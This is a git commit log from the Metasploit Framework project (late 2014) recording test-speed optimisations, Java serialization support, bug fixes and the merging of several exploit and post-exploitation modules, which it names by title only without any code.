Meatballs e471271231 Move comment 2014-12-04 20:24:37 +00:00
Meatballs c14ba11e79 If extapi dont stage payload 2014-12-04 20:17:48 +00:00
Meatballs 186d8bd359 Fix starts_with? 2014-12-04 20:16:56 +00:00
Luke Imhoff 2c1203ba49 "Starting msfconsole with a valid database.yml" --defer-module-loads
MSP-11671

Run `msfconsole` with `--defer-module-loads` to change average (n=10)
runtime of `/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:150 cucumber:boot` from 57.02
seconds to 38.76 seconds (-32.03%).  (-80.26% change from
288d77f31a14f4d05c7f665c2f8bbfd0c58e8d4d.) Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-04 13:28:21 -06:00
Tod Beardsley 79f2708a6e Slight fixes to grammar/desc/whitespace
Note that the format_all_drives module had a pile of CRLFs that should
have been caught by msftidy. Not sure why it didn't.
2014-12-04 13:11:33 -06:00
Jon Hart f22d7191cd Test fix for #4305 2014-12-04 10:59:57 -08:00
sinn3r 9cc04e59eb Fix #4304 - Blank password is tried when it shouldn't happen
Fix #4304
2014-12-04 12:59:51 -06:00
Luke Imhoff 7dfdc508a7 "Starting msfconsole with a valid database.yml" --execute-command
MSP-11671

Run `msfconsole` with `--execute-command db_status --execute-command
exit` instead of running interactively and typing `db_status` and `exit`
to change the average (n=10) running time of `/usr/bin/time rake
CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:150 cucumber:boot` from
196.30 seconds to 57.02 seconds (-70.95%).  Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-04 12:58:37 -06:00
jvazquez-r7 08f69da41a Undo to_s methods 2014-12-04 12:48:05 -06:00
jvazquez-r7 b80f6c34c0 Add tool to deserialize streams from files 2014-12-04 12:47:02 -06:00
Luke Imhoff 288d77f31a "no database connection" --defer-module-loads
MSP-11671

Call `msfconsole` with `--defer-module-loads` to change runtime of
`/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:134 cucumber:boot` from
49.44 seconds to 37.65 seconds (-23.83%). (-80.73% change from
22c56f525335d45623c7708ccc53561e516ae8a0.)  Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-04 11:39:41 -06:00
Luke Imhoff ec63f655c8 "no database connection" --execute-command
MSP-11671

Call `msfconsole` with `--execute-command db_status --execute_command
exit` instead of running interactively and typing `db_status` and `exit`
to change the average (n=10) run time of `/usr/bin/time rake
CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:134 cucumber:boot` from 195.38
seconds to 49.44 seconds (-74.70%).
2014-12-04 11:26:49 -06:00
Luke Imhoff 22c56f5253 Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins --defer-module-loads
MSP-11671

Run `msfconsole` with `--defer-module-loads` to change average (n=10)
runtime of `/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:115 cucumber:boot` from
51.42 seconds to 37.76 seconds (-26.57%).  (Change of -72.98% since
f950f3094de718f5294a84fb7e0a78390818ba4d.)  Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-04 09:48:07 -06:00
Luke Imhoff 7a347accd8 Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins --execute-command
MSP-11671

Run msfconsole with `--execute-command exit` instead of running
interactly and typing `exit`.  Changes average (n=10) running time for
`/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:115 cucumber:boot` from 139.76
seconds to 51.42 seconds (-63.21%).
2014-12-04 09:33:53 -06:00
wez3 7c62fa5c95 Add Windows post module for reading/searching Outlook e-mail #8 2014-12-04 14:28:40 +01:00
tate 3aecd3a10e added DLSw v1 and v2 check, added check for \x00 in leak segment 2014-12-03 23:27:11 -07:00
jvazquez-r7 6d623456a4 Add specs for java array streams 2014-12-04 00:07:56 -06:00
Jon Hart d8b1401545 Test fix for #4306 2014-12-03 19:54:31 -08:00
jvazquez-r7 08fe467452 Add Stream specs 2014-12-03 19:31:46 -06:00
jvazquez-r7 2c8f66bba2 Add support for Reset 2014-12-03 18:50:56 -06:00
jvazquez-r7 fb246ac943 Add support for (de)serialization of contents 2014-12-03 18:50:31 -06:00
jvazquez-r7 3e8b8390dd Add support for Java Streams 2014-12-03 17:59:00 -06:00
jvazquez-r7 6cb6252914 Add YARD documentation for NewObject 2014-12-03 17:34:12 -06:00
jvazquez-r7 d0fcbf2cdb Add support for simple Objects really 2014-12-03 17:22:23 -06:00
jvazquez-r7 2b91d5013e Add support for simple Objects 2014-12-03 17:21:11 -06:00
Tod Beardsley 1a4f2eb8e4 Restore the hallowed developer's guide
See #4286, @tdoan-r7 and @wchen-r7's comments on why that should stay
(for now).
2014-12-03 16:50:18 -06:00
Tod Beardsley 4aa0785076 Also .gitignore the source directory for metakitty 2014-12-03 16:12:30 -06:00
James Lee 8f2e444aca Land #4281, ::Queue workarounds for 2.1.x
Conflicts:
	lib/msf/core/handler/reverse_tcp.rb
2014-12-03 15:48:20 -06:00
Luke Imhoff f950f3094d "Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins" --defer-module-loads
MSP-11671

Pass `--defer-module-loads` to `msfconsole` to change average (n=10)
runtime for `/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:88 cucumber:boot` from
51.79 seconds to 39.25 seconds (-24.40%). (-71.74% from
e9a69a844cd2f2f7ad24386dd3adf7ccbd18d2b3.) Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-03 15:44:04 -06:00
Luke Imhoff 186abd5e05 "Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins" --execute-command
MSP-11671

Run `msfconsole` with `--execute-command exit` instead of interactively
and typing exit.  Average (n=10) runtime changes from 138.91 seconds to
51.79 seconds (-62.72%). Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-03 15:30:41 -06:00
jvazquez-r7 fbea369043 Check nils before encoding 2014-12-03 15:06:28 -06:00
jvazquez-r7 0560cc2fe9 Fix typos 2014-12-03 14:59:38 -06:00
jvazquez-r7 268157d42f Add support for Java Enums 2014-12-03 14:50:03 -06:00
jvazquez-r7 f0139d6aad Fix some docu typos 2014-12-03 14:34:17 -06:00
Luke Imhoff e9a69a844c "Without --yaml, MSF_DATABASE_CONFIG wins" --defer-module-loads
MSP-11671

Add `--defer-module-loads` when running `msfconsole`.  Changes average
(n=10) runtime from 52.96 seconds to 38.98 seconds (-26.39%) (-71.92%
compared to 69b170a7df).
2014-12-03 14:26:58 -06:00
sinn3r 8bf50bb4fb Land #4213 - IE8 support for MS13-080 2014-12-03 14:13:47 -06:00
sinn3r 2fcbcc0c26 Resolve merge conflict for ie_setmousecapture_uaf (#4213)
Conflicts:
	modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
2014-12-03 14:12:15 -06:00
Luke Imhoff 8b88d7bce7 "Without --yaml, MSF_DATABASE_CONFIG wins" --execute-command
MSP-11671

Pass `--execute-command exit` to `msfconsole` instead of running it
interactively and typing `exit`.  Average (n=10) runtime for `rake
CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:54 cucumber:boot`
change from 138.84 seconds to 52.96 seconds (-61.85%).
2014-12-03 14:12:12 -06:00
jvazquez-r7 0cd51553ed Raise error on unsupported ClassDesc 2014-12-03 14:00:10 -06:00
Tod Beardsley 2c9018ac0e Travis shouldnt test gh-pages and friends
This adds a blacklist of branches that Travis shouldn't run tests
against.
2014-12-03 13:58:06 -06:00
jvazquez-r7 6deb88af6b Add support for arrays 2014-12-03 13:55:12 -06:00
Jon Hart fee712bf23 Land #4300, @wchen-r7's fix for #3886 2014-12-03 10:58:50 -08:00
Luke Imhoff 69b170a7df "With all 4 locations, --yaml wins" --defer-module-loads
MSP-11671

Add --defer-module-loads to msfconsole run to reduce average (n=10)
running time from 51.78 seconds to 40.38 seconds (-22.02% change).  This
is a -71.55% change since 4eb9a7563a.  Raw
data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-03 12:54:21 -06:00
Luke Imhoff 0e1e5125c6 "With all 4 locations, --yaml wins" --execute-command
MSP-11671

Use `--execute-command` instead of interactly running msfconsole and
typing `exit`.  Changes the average runtime for `rake CUCUMBER_OPTS="-r
features" FEATURE=features/msfconsole/database_yml.feature:13
cucumber:boot` from 141.93 seconds (n=10) to 51.78 seconds (n=10) for a
-63.52% change. Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-03 12:38:43 -06:00
wez3 3cadcb942a Add Windows post module for reading/searching Outlook e-mail #7 2014-12-03 18:30:22 +01:00
Luke Imhoff 4eb9a7563a Use -x when testing help
MSP-11671

Instead of interactively typing `help` and `exit` use `-x` to run the
commands, which changes the average (n=10) time for `rake cucumber` from
153.29 seconds to an average (n=10) of 32.21 for a -78.99% change from
the last commit and a -80.47% change from the beginning of this branch
(3c3792330c).  Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing
2014-12-03 10:23:03 -06:00
Luke Imhoff 73844ebdd9 --defer-module-loads when testing help
MSP-11671

Changed runtime of `rake cucumber` from average (n=10) of 164.90 seconds to
average (n=10) of 153.29 seconds for a -7.04% decrease.  Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing
2014-12-03 08:44:13 -06:00
jvazquez-r7 b9023e8fcc Split ClassDescription into ClassDesc and NewClassDesc 2014-12-03 00:38:27 -06:00
jvazquez-r7 41c4db2b3b Delete ClassDescription spec 2014-12-03 00:07:40 -06:00
jvazquez-r7 db45f4c620 Delete ClassDescription 2014-12-02 23:56:55 -06:00
jvazquez-r7 1f535a41ca Move types to the Serialization module 2014-12-02 20:02:42 -06:00
dmaloney-r7 947a64dc2d Merge pull request #4299 from techpeace/bump-metasploit-credential
Bump metasploit-credential version
2014-12-02 18:01:21 -06:00
jvazquez-r7 2c070c450b Add support for ClassDescription 2014-12-02 17:31:53 -06:00
sinn3r f6f0050f56 Fix #3886 - Backtrace for #check when session is invalid
If the user supplies an invalid session (as in not on the session
list), it will cause a backtrace, because the setup method from
Msf::PostMixin isn't actually called.

We have thought about implementing this in a new OptSession instead.
But you can't use or even pass framework to option_container.rb, so
this is NOT possible.

The original PR was #3956.
2014-12-02 17:22:46 -06:00
Matt Buck a84ee27aef Bump metasploit-credential version 2014-12-02 17:13:25 -06:00
Luke Imhoff 3c3792330c Fix RUBYOPT to be debugger compatible
MSP-11671

RUBYOPT needs to be appended to so that debugger is always first.
2014-12-02 15:31:57 -06:00
jvazquez-r7 e9e584e107 Raise exceptions when unserialization isn't possible 2014-12-02 15:31:31 -06:00
Fernando Arias fb439258b9 Land #4298, arbitrary Ruby extension for replicant
MSP-11673

* Adds Msf::Module#register_extensions
* Extensions are arbitrary Ruby modules
* Allows overriding of psuedo callbacks
2014-12-02 14:59:37 -06:00
William Vu 3a978e1147 Land #4280, frontpage_login improvements 2014-12-02 14:56:57 -06:00
Luke Imhoff f696a5ab0e msfconsole --defer-module-loads
MSP-11671

Add command line option --defer-module-loads to msfconsole.  It will
stop `Msf::Ui::Console::Driver` from calling
`framework.modules.init_module_paths` AND
`framework.modules.refresh_cache_from_database`.  This flag is only
meant to speed up msfconsole boot when modules do not need to accessed,
such as during cucumber testing of command help or command line options.
2014-12-02 14:41:32 -06:00
sinn3r a631ee65f6 Fix #4293 - Use OperatingSystems::Match::WINDOWS
Fix #4293. Modules should use OperatingSystems::Match::WINDOWS
instead of Msf::OperatingSystems::WINDOWS, because the second
won't match anything anymore.
2014-12-02 13:46:27 -06:00
Trevor Rosen 2a033861dc Just use constants directly
MSP-11673
2014-12-02 13:12:53 -06:00
Trevor Rosen 784e138b14 Extend replicants via arbitrary Ruby code
MSP-11673

* Implements a #register_extensions method on Msf::Module
* Any registered Ruby modules will extend the cloned module returned by #replicant
2014-12-02 12:18:30 -06:00
William Vu 5086632fbb Land #4289, Travis/Cucumber boot test fix 2014-12-02 12:06:56 -06:00
HD Moore b29e53984e Merge master with merge of PR #4225 2014-12-02 11:58:30 -06:00
Luke Imhoff 35ff82c9d8 Merge branch 'bug/MSP-11672/double-init-module-paths' into feature/MSP-11671/msfconsole-defer-module-loads
MSP-11671
2014-12-02 11:57:47 -06:00
HD Moore fc96d011ab Python reverse_http stager, lands #4225 2014-12-02 11:47:31 -06:00
HD Moore 7fe72fd118 Cosmetic tweaks for #4225 2014-12-02 11:47:14 -06:00
jvazquez-r7 622a18bc22 Add support for annotations 2014-12-02 11:42:41 -06:00
Tod Beardsley 40220564a7 Land #4292, remove os_flavor usage. 2014-12-02 11:37:34 -06:00
Luke Imhoff 9272fe90ae Merge branch 'master' into bug/MSP-11672/double-init-module-paths
MSP-11672
2014-12-02 11:23:51 -06:00
jvazquez-r7 a68540cfa2 Add support for Data Block Long 2014-12-02 10:49:15 -06:00
jvazquez-r7 9c5d7e66d4 Add block data support 2014-12-02 10:46:29 -06:00
Luke Imhoff 90c6764426 init_module_paths once in msfconsole
MSP-11672

Pass `'DeferModuleLoads' => false` to `Msf::Simple::Framework.create` so
that `framework.modules.init_module_paths` is only called once (directly
in `Msf::Ui::Console::Driver#initialize`) instead of twice (in
`Msf::Simple::Framework.create` and `Msf::Ui::Console::Driver#initialize).
2014-12-02 10:28:23 -06:00
Luke Imhoff 653c71e029 Fail if init_module_paths called more than once
MSP-11672

Calling init_module_paths takes 6 seconds on my machine even when there are no
files to that are changed just because it takes that long to walk the
directories and gather the mtime for each file.  Therefore, calling it
more than once should be avoided.  Also, there is no reason to call it
twice as to add paths later, `modules.add_module_paths` should be used.
2014-12-02 10:17:09 -06:00
jvazquez-r7 8923b87def Don't redefine the static decode method 2014-12-02 09:02:24 -06:00
wez3 611e8c72eb Add Windows post module for reading/searching Outlook e-mail #6 2014-12-02 14:05:08 +01:00
William Vu bd3d63a155 Land #4270, Msf::Author cleanup and improvements 2014-12-02 01:26:42 -06:00
sinn3r a88ee0911a Fix os detection
See #3373
2014-12-02 01:15:55 -06:00
sinn3r a42c7a81e7 Fix os detection
See #4283
2014-12-02 01:13:51 -06:00
headlesszeke 564488acb4 Changed and to && 2014-12-02 00:02:53 -06:00
headlesszeke 280e10db55 Add module for Arris VAP2500 Remote Command Execution 2014-12-01 23:07:56 -06:00
jvazquez-r7 ef2bf5b935 Add support for long-utf 2014-12-01 19:50:33 -06:00
jvazquez-r7 705cd4c308 Add initial requiring file 2014-12-01 19:08:16 -06:00
jvazquez-r7 5f11c70d7f Add initial support for Java serialization 2014-12-01 19:07:45 -06:00
Luke Imhoff 7e2b197f02 Document Msf::Simple::Framework.create
MSP-11671
2014-12-01 15:38:48 -06:00
Luke Imhoff 57cabb4f10 Document Msf::Simple::Framework.simplify
MSP-11671
2014-12-01 15:36:38 -06:00
Tod Beardsley f64e43427a Comment out boot cucumber tests
This is in response to the slowness noticed over the last few days and
unrelated changes causing travis failures. For example:

https://github.com/rapid7/metasploit-framework/pull/4252#issuecomment-64923343
2014-12-01 12:24:06 -06:00
William Vu 394d132d33 Land #2756, tincd post-auth BOF exploit 2014-12-01 12:13:37 -06:00
Tod Beardsley 4c880629c3 Squashed commit of the following:
commit 7f659547b3b5d8de34a1e4b136b5e899ae7878da
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon Dec 1 07:54:53 2014 -0600

    Add a pointer to true and correct docs

    See #4000. Seems kind of pointless to ship all these bytes when we host
    everything on GitHub and provide tools to generate docs yourself.

commit 01668c8529454ffb0438aadef62eafb5045503ce
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon Dec 1 07:39:11 2014 -0600

    Remove old documentation

    The last significant commit in this directory was a844b5c3 , which
    touched a sample browser module. Before that, changes were either
    ranging across the codebase, or surgical removal of out of date
    documentation.

    This all is looking to me like fairly useless historical artifacts.

    See #4000 for more discussion.
2014-12-01 11:57:43 -06:00
jvazquez-r7 0ab2e99419 Delete version from title 2014-12-01 10:24:12 -06:00
jvazquez-r7 d1e8b160c7 Land #4271, @espreto's module for CVE-2014-7816 WildFly's Traversal
* Issue in the web server JBoss Undertow
2014-12-01 10:22:47 -06:00
jvazquez-r7 f4e20284a4 Change mixin include order 2014-12-01 10:22:20 -06:00
jvazquez-r7 d85aabfed9 Use vprint by default 2014-12-01 10:20:12 -06:00
jvazquez-r7 e0cb0f7966 Fix description 2014-12-01 10:19:14 -06:00
jvazquez-r7 fa07b466d6 Use single quote and minor cosmetic changes 2014-12-01 09:57:29 -06:00
jvazquez-r7 d5888a7f6f Fix module options 2014-12-01 09:55:36 -06:00
jvazquez-r7 47acf3487d Do minor cleanup
* Prepend peer
* Use print_good when file downloaded
2014-12-01 09:53:00 -06:00
Tod Beardsley 35ff550849 Land #4285, typo fix for MS14-064 module
Fixes #4284
2014-12-01 07:25:01 -06:00
Pedro Ribeiro 15cb3fb804 Merge pull request #11 from jvazquez-r7/review_4282
Clean CVE-2014-5445 module
2014-12-01 07:49:59 +00:00
sinn3r 0f973fdf2b Fix #4284 - Typo "neline" causing the exploit to break
"neline" isn't supposed to be there at all.
2014-12-01 01:24:30 -06:00
Tim 5c50a07c0f futex_requeue 2014-12-01 03:49:22 +00:00
jvazquez-r7 7a2c9c4c0d Land #4263, @jvennix-r7's OSX Mavericks root privilege escalation
* Msf module for the Ian Beer exploit
2014-11-30 21:13:07 -06:00
jvazquez-r7 b357fd88a7 Add comment 2014-11-30 21:08:38 -06:00
jvazquez-r7 0ab99549bd Change ranking 2014-11-30 21:08:12 -06:00
jvazquez-r7 7772da5e3f Change paths, add makefile and compile 2014-11-30 21:06:11 -06:00
Roberto Soares Espreto e4b3ee2811 Changed the module name. 2014-12-01 01:00:14 -02:00
Roberto Soares Espreto ecbce679a8 Remove timeout on line 59. 2014-12-01 00:51:12 -02:00
Roberto Soares Espreto f3957ea428 FILEPATH changed from false to true. 2014-12-01 00:48:47 -02:00
Roberto Soares Espreto 97ee975235 Deleted checking on line 48. 2014-12-01 00:46:58 -02:00
jvazquez-r7 b6306ef7a2 Move C source to exploits folder 2014-11-30 20:42:53 -06:00
jvazquez-r7 d7d1b72bce Rename local_variables 2014-11-30 20:40:55 -06:00
Roberto Soares Espreto 84ce573227 Deleted line 61 which returns the server status code. 2014-12-01 00:39:05 -02:00
jvazquez-r7 d77c02fe43 Delete unnecessary metadata 2014-11-30 20:37:34 -06:00
sinn3r c681654c10 Land #4252 - Rework meterpreter SSL & pass datastore to handle_connection() 2014-11-30 20:15:53 -06:00
jvazquez-r7 ff30a272f3 Windows paths need 2 backslashes 2014-11-30 18:54:41 -06:00
jvazquez-r7 223bc340e4 Prepend peer 2014-11-30 18:46:15 -06:00
jvazquez-r7 5ad3cc6296 Make FILEPATH mandatory 2014-11-30 18:45:23 -06:00
jvazquez-r7 b1b10cf4e5 Use Rex::ConnectionError 2014-11-30 18:44:25 -06:00
jvazquez-r7 a549cbbef8 Beautify metadata 2014-11-30 18:44:03 -06:00
Jonathan Claudius 93d97568d1 Merge pull request #1 from jvazquez-r7/update_3305
Make Cisco SSL VPN Privilege Escalation landable
2014-11-30 10:57:54 -05:00
Deral Heiland 0887127264 Fixed several recommended changes by jvazquez-r7 and jlee-r7 2014-11-30 00:53:24 -05:00
Pedro Ribeiro 26d9ef4edd Explain about Windows back slashes on option 2014-11-30 00:15:44 +00:00
Pedro Ribeiro 2fb38ec7bb Create exploit for CVE-2014-5445 2014-11-30 00:12:37 +00:00
Pedro Ribeiro eb33ece4fd Merge pull request #10 from rapid7/master
bla
2014-11-30 00:11:19 +00:00
Meatballs 65b9aa16e5 Land #4233, Fix PowerDump hash corruption 2014-11-28 23:03:45 +00:00
Meatballs f5f32fac06 Add token fiddling from nishang 2014-11-28 23:02:59 +00:00
HD Moore f139795663 Rework queue handling and error reporting, close #4249 2014-11-28 14:56:02 -06:00
Tiago Sintra 6f6274735f Update frontpage_login.rb
Vhost is now used if specified.
Added X-Vermeer-Content-Type header, which seems to be required for the RPC service otherwise server responds with:
method=
status=

    status=262147
    osstatus=0
    msg=No "CONTENT_TYPE" on CGI environment.
    osmsg=
2014-11-28 17:21:47 +00:00
sinn3r f7f4a191c1 Land #4255 - CVE-2014-6332 Internet Explorer 2014-11-28 10:12:27 -06:00
sinn3r 2a7d4ed963 Touchup 2014-11-28 10:12:05 -06:00
Peter Marszalik 7ea3cd1b61 Merge pull request #1 from Meatballs1/pr4233_powerdump
Pr4233 powerdump
2014-11-28 00:31:32 -06:00
OJ 48904c2d63 Land #4277 - vmware-mount configurable directory 2014-11-28 08:05:42 +10:00
Rasta Mouse 985838e999 Suggestions from OJ 2014-11-27 21:38:50 +00:00
Meatballs 3e0f909707 Remove debug file writes 2014-11-27 21:34:00 +00:00
Meatballs 94fa6a309c Fix strip_whitespace speccing 2014-11-27 21:30:08 +00:00
Meatballs 48a5123607 Merge remote-tracking branch 'upstream/master' into pr4233_powerdump 2014-11-27 20:08:11 +00:00
HD Moore 10a05a393c Add format_all_drives payload, lands #4268 2014-11-27 11:44:44 -06:00
HackSys Team 4a4608adbc Add format_all_drives shellcode for Windows x86_x64 2014-11-27 23:06:54 +05:30
Rasta Mouse 25ecf73d7d Add configurable directory, rather than relying on the session working
directory.
2014-11-27 17:12:37 +00:00
HackSys Team 8473ed144a Add format_all_drives shellcode for Windows x86_x64 2014-11-27 14:13:49 +05:30
HD Moore 335d1ef287 Only cache auto-generated certificates 2014-11-26 21:23:08 -06:00
Roberto Soares Espreto d75ffc36da Changed the description of FILEPATH 2014-11-27 00:50:34 -02:00
Roberto Soares Espreto f8dc366f42 Add CVE-2014-7816 Directory Traversal for WildFly 8 Application 2014-11-27 00:13:29 -02:00
Joe Vennix 99b87c2e97 Fix nonsensical spec. 2014-11-26 13:57:44 -06:00
Joe Vennix 2bd7a67413 Restructure parts of Author, fix some doc bugs. 2014-11-26 13:54:23 -06:00
Tod Beardsley c0be32eac1 Land #4264, reload_all should complain 2014-11-26 11:23:41 -06:00
peregrino 84bb5b5215 Rex::Socket.to_sockaddr changed 2014-11-26 17:51:38 +01:00
peregrino 16b64ff42a Rex::Socket.to_sockaddr changed 2014-11-26 17:51:05 +01:00
Joe Vennix cc33566ca8 Land #4265, @shuckins-r7 fix for RPORT error on UDP sweep. 2014-11-26 10:27:15 -06:00
Samuel Huckins 2aeedb160d Merge pull request #1 from jhart-r7/landing-4265-jhart
This is a great intermediate approach, thanks @jhart-r7 ! Will verify Pro and msfconsole cases momentarily.
2014-11-26 09:50:32 -06:00
Jon Hart 79b2b5e231 RPORT is required by UDPScanner; deregister instead 2014-11-26 07:39:14 -08:00
HackSys Team f5633ba3c3 Add format_all_drives shellcode for Windows x86_x64 2014-11-26 20:29:25 +05:30
peregrino 16a9450d43 session.tunnel_peer changed by session.session_host. Other minor changes 2014-11-26 12:08:54 +01:00
William Vu 3a99f7f31a Land #4267, CheckCode fix for vmware_mount 2014-11-26 01:00:04 -06:00
OJ 75e5553cd4 Change to in exploit 2014-11-26 16:53:30 +10:00
jvazquez-r7 9524efa383 Fix banner 2014-11-25 23:14:20 -06:00
jvazquez-r7 c82acfe6b9 Land #2985, @pyoor's exploit for Pandora FMS Sql Injection 2014-11-25 23:13:02 -06:00
jvazquez-r7 16ed90db88 Delete return keyword 2014-11-25 23:11:53 -06:00
jvazquez-r7 85926e1a07 Improve check 2014-11-25 23:11:32 -06:00
jvazquez-r7 5a2d2914a9 Fail on upload errors 2014-11-25 22:48:57 -06:00
jvazquez-r7 b24e641e97 Modify exploit logic 2014-11-25 22:11:43 -06:00
jvazquez-r7 4bbadc44d6 Use Msf::Exploit::FileDropper 2014-11-25 22:00:42 -06:00
jvazquez-r7 7fbd5b63b1 Delete the Rex::MIME::Message gsub 2014-11-25 21:54:50 -06:00
jvazquez-r7 eaa41e9a94 Added reference 2014-11-25 21:37:04 -06:00
jvazquez-r7 2c207597dc Use single quotes 2014-11-25 18:30:25 -06:00
jvazquez-r7 674ceeed40 Do minor cleanup 2014-11-25 18:26:41 -06:00
Borja Merino 78733fcd20 Merge pull request #6 from jvazquez-r7/review_4187
Do minor cosmetic cleanup for post-exploitation module to get FW filtering rules
2014-11-26 01:09:15 +01:00
jvazquez-r7 6ceb47619a Change module filename 2014-11-25 18:09:15 -06:00
jvazquez-r7 1305d56901 Update from upstream master 2014-11-25 18:07:13 -06:00
jvazquez-r7 5615d65aee Do minor cleanup 2014-11-25 17:35:07 -06:00
jvazquez-r7 d4e5cd25e1 Report credentials for new login level 15 2014-11-25 16:35:16 -06:00
jvazquez-r7 dc253efa19 Use Rex::Text.rand_text* 2014-11-25 16:35:06 -06:00
jvazquez-r7 f20afff1a8 Do return instead of abort 2014-11-25 16:34:57 -06:00
jvazquez-r7 d876efaa0f Delete ssh_socket attribute 2014-11-25 16:34:47 -06:00
jvazquez-r7 5091bc76ad Do minor cleanup 2014-11-25 16:34:22 -06:00
jvazquez-r7 c92a26e967 Update from upstream master 2014-11-25 16:30:45 -06:00
Samuel Huckins 58cc8c989f Dropping errant RPORT required option for UDP
MSP-11652
2014-11-25 16:16:54 -06:00
Tod Beardsley 448b6a1cd9 Land #4256 after a rebase
Oops'ed the push.
2014-11-25 14:22:19 -06:00
Luke Imhoff 48356d1003 Up aruba timeout for simplecov overhead
MSP-11647

Doubling the timeout is arbitrary, but travis-ci's limit for no output
is 10 minutes, so it can't go much higher.
2014-11-25 14:13:41 -06:00
Luke Imhoff 81d160c685 Add simplecov to cucumber env
MSP-11647

Port simplecov setup from metasploit-version so that child processes, in
this case msfconsole, will load simplecov and report coverage back to
the parent process.  Coverage from msfconsole's cucumber features is the
only way to get coverage on portions of the command dispatcher commands.
2014-11-25 14:13:40 -06:00
jvazquez-r7 60a1ec24e9 Land #4261, @nullbind's MSSQL Domain Users enumeration through web sqli 2014-11-25 14:08:57 -06:00
jvazquez-r7 5f4760c58e Print final results in a table 2014-11-25 14:01:29 -06:00
jvazquez-r7 d998d97aaa Refactor build_user_sid 2014-11-25 13:58:47 -06:00
jvazquez-r7 aad860a310 Make conditional easier 2014-11-25 13:54:08 -06:00
jvazquez-r7 ba57bc55b0 Don't report service 2014-11-25 13:52:22 -06:00
jvazquez-r7 059b0e91da Don't report service
* The mssql could be in a third host, not rhost
2014-11-25 13:50:42 -06:00
jvazquez-r7 b467bda2d6 Reuse local variable 2014-11-25 13:49:24 -06:00
Trevor Rosen 6e9666c68f Land #4231, more explicit instructs on commit msgs
Explicitly reminds people to be wary of default (merge) messages from
Git when landing PRs on Metasploit.
2014-11-25 13:44:59 -06:00
jvazquez-r7 31a84ef6ff Make ternary operator more readable 2014-11-25 13:44:50 -06:00
jvazquez-r7 be566e5ad3 Use a lower fuzz number by default 2014-11-25 13:42:47 -06:00
jvazquez-r7 cd43f83cd7 Delete unnecessary comments
* No need to comment every step, just relevant
comments to undrestad code.
2014-11-25 13:40:57 -06:00
jvazquez-r7 f93dbc6deb Use the target domain name 2014-11-25 13:36:48 -06:00
Trevor Rosen 31184c67b4 Land #4223, specs for DB console command output
Wrap specs around current behavior of the DB command dispatcher,
in order to make upcoming refactor painless.

MSP-11622 #land
2014-11-25 13:30:08 -06:00
jvazquez-r7 7c87603b0e Add progress information 2014-11-25 13:23:36 -06:00
jvazquez-r7 8e5b37ea6e Fix reporting 2014-11-25 13:20:31 -06:00
William Vu a34e721353 Check for load errors in reload_all 2014-11-25 13:13:40 -06:00
jvazquez-r7 93539ae4c6 Use shorter variable name 2014-11-25 13:04:31 -06:00
jvazquez-r7 271f982f34 Use peer 2014-11-25 13:03:48 -06:00
jvazquez-r7 c549508abb Use vprint 2014-11-25 13:03:18 -06:00
jvazquez-r7 249fb79a21 Fix print_* calls 2014-11-25 13:02:53 -06:00
jvazquez-r7 87cfd7c321 Dont use disconnect 2014-11-25 13:00:53 -06:00
jvazquez-r7 fb8372f505 Fix metadata 2014-11-25 12:59:11 -06:00
jvazquez-r7 71f35f5cd6 Update from upstream master 2014-11-25 12:46:44 -06:00
Joe Vennix 3a5de9970f Update description, rename xnu_ver -> osx_ver. 2014-11-25 12:38:29 -06:00
Joe Vennix 7a3fb12124 Add an OSX privilege escalation from Google's Project Zero. 2014-11-25 12:34:16 -06:00
Peter Marszalik 830af7f95e identified instances of tabs vs spaces in the original
identified 16 instances in the original code where tab was used vs spaces. updated to keep consistent.
2014-11-25 12:17:43 -06:00
Trevor Rosen 9eda84e7d8 Land #4206, fail Travis on schema.rb mismatch
Ensure that the TravisCI build will fail if db/schema.rb is changed
after `rake db:migrate` is run.

MSP-11616 #land
2014-11-25 10:15:01 -06:00
nullbind 4bd579bc1c added mssql_enum_domain_accounts_sqli 2014-11-25 09:57:20 -06:00
Jon Hart c0dab54925 Add minor missing doc 2014-11-25 07:37:49 -08:00
